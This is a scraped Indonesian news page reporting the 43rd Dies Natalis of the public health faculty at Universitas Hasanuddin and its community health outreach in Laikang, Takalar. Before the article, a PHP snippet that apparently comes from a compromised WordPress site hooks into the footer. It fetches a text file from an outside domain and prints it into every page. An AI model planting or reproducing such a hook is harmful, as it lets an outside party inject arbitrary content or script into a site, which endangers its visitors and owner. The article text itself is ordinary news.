function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Dies Natalis ke-43 FKM Unhas: Hebat, Mandiri dan Berdampak untuk Kesehatan menuju Indonesia Emas 2045 - Suluh Nusantara

Home / Uncategorized

Sabtu, 1 November 2025 - 16:17 WIB

Dies Natalis ke-43 FKM Unhas: Hebat, Mandiri dan Berdampak untuk Kesehatan menuju Indonesia Emas 2045

Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) memperingati Dies Natalis ke-43 dengan tema “Hebat, Mandiri dan Berdampak untuk Kesehatan menuju Indonesia Emas 2045”. Tahun ini, panitia FKM Unhas terdiri atas tenaga pendidik, dosen, mahasiswa S1 hingga S3, serta tiga mahasiswa internasional dari Hongkong, India, dan Liberia melaksanakan 19 kegiatan pengabdian masyarakat di 10 titik lokasi di Kecamatan Laikang, Kabupaten Takalar. Selain edukasi dan pemeriksaan kesehatan, panitia juga membagikan sembako untuk warga sekitar yang menjadi sasaran kegiatan.

Dekan FKM Unhas, Prof. Sukri Palutturi, SKM, M.Kes., M.Sc.PH, Ph.D, menjelaskan bahwa kegiatan ini menjadi bentuk nyata kontribusi kampus bagi masyarakat. “Banyak tim yang turun ke sekolah, puskesmas, dan balai desa. Kami juga memberikan sembako sebagai ucapan terima kasih karena sudah menerima kami dengan baik,” ujarnya.

Baca Juga  Prof. Marc Bruijnzeels Tekankan Pendekatan Population Health Management sebagai Solusi Tantangan Sistem Kesehatan

Kegiatan ini disambut positif oleh pemerintah daerah. H. Sapri, SKM., S.Kep., Ners., M.Kes., Sekretaris Dinas Kesehatan Takalar, menyebut kegiatan FKM Unhas memberi dampak besar. “Takalar mendapat kunjungan dari banyak profesor hari ini. Saya dapat kabar ternyata tidak hanya berbagi ilmu saja, tapi juga dilakukan pemeriksaan kesehatan bahkan hingga di sekolah. Menurut saya itu langkah yang luar biasa,” katanya.

Camat Laikang, Marwan, S.E., M.Si, berharap kerja sama ini berlanjut. “Kami berterima kasih atas ilmu dan bantuan yang diberikan. Kita tau bahwa stunting di Takalar masih terbilang tinggi sekitar 24% dan beberapa penyakit tidak menular seperti hipertensi karena Takalar pengahasil garam juga, semoga kegiatan ini bisa membantu menangani masalah kesehatan masyarakat disini,” tuturnya.

Baca Juga  Mahasiswa Posko 33 PBL FKM Unhas Evaluasi Poster Edukasi Stunting di Kelurahan Tonrokassi: Respons Positif Masyarakat, Kader Posyandu Tunjukkan Kepedulian Tinggi

Pelaksanaan Dies Natalis ke-43 ini juga sejalan dengan komitmen FKM Unhas terhadap Tujuan Pembangunan Berkelanjutan (Sustainable Development Goals/SDGs), khususnya tujuan ketiga: Kehidupan Sehat dan Sejahtera (Good Health and Well-being) dan tujuan ke-17: Kemitraan untuk Mencapai Tujuan (Partnership for the Goals).

Melalui kolaborasi lintas sektor dengan pemerintah daerah, sekolah, puskesmas, dan masyarakat desa, FKM Unhas berupaya memperkuat peran perguruan tinggi dalam mendukung pembangunan kesehatan berkelanjutan di tingkat lokal menuju Indonesia emas 2045.

Share :

Baca Juga

Uncategorized

Minggu Sehat” Program Bina Desa Mahasiswa FKM Unhas: Upaya Cegah Stunting di Desa Alatengae dengan Pemanfaatan Teknologi Tepat Guna

Uncategorized

Transformasi Kesehatan Lansia: Mahasiswa Magang Promosi Kesehatan Universitas Hasanuddin Hadirkan Edukasi Peningkatan Pengetahuan tentang Hipertensi di Puskesmas Pampang

Uncategorized

Posko 20 PBL II FKM Unhas: Edukasi MP-ASI Berbahan Pangan Lokal untuk Dukung SDGs dan Pencegahan Stunting di Desa Kapita, Jeneponto

Uncategorized

FKM Unhas Hadirkan Dr. Wisanti Laohaudomchok dari Mahidol University, Thailand dalam Kuliah Tamu Bertema “Nano Safety at Work”

Uncategorized

Cerita dari PPLH Puntondo: Warga Sambut Hangat Kegiatan Dies Natalis Ke-43 FKM Unhas

Uncategorized

FKM Unhas Menggelar Yusidisum dan Ramah Tamah Pelepasan Alumni Wisuda Periode Oktober 2024

Uncategorized

Mahasiswa FKM Unhas Gelar Seminar Awal, Menandai Mulainya Praktik Belajar Lapangan (PBL) I Di Kel. Galung, Kec. Liliriaja, Kab. Soppeng

Uncategorized

Mahasiswa PBL II FKM Unhas Posko 27 Edukasi Cegah Stunting Melalui Program ‘MAMA CERMAT’ di Desa Turatea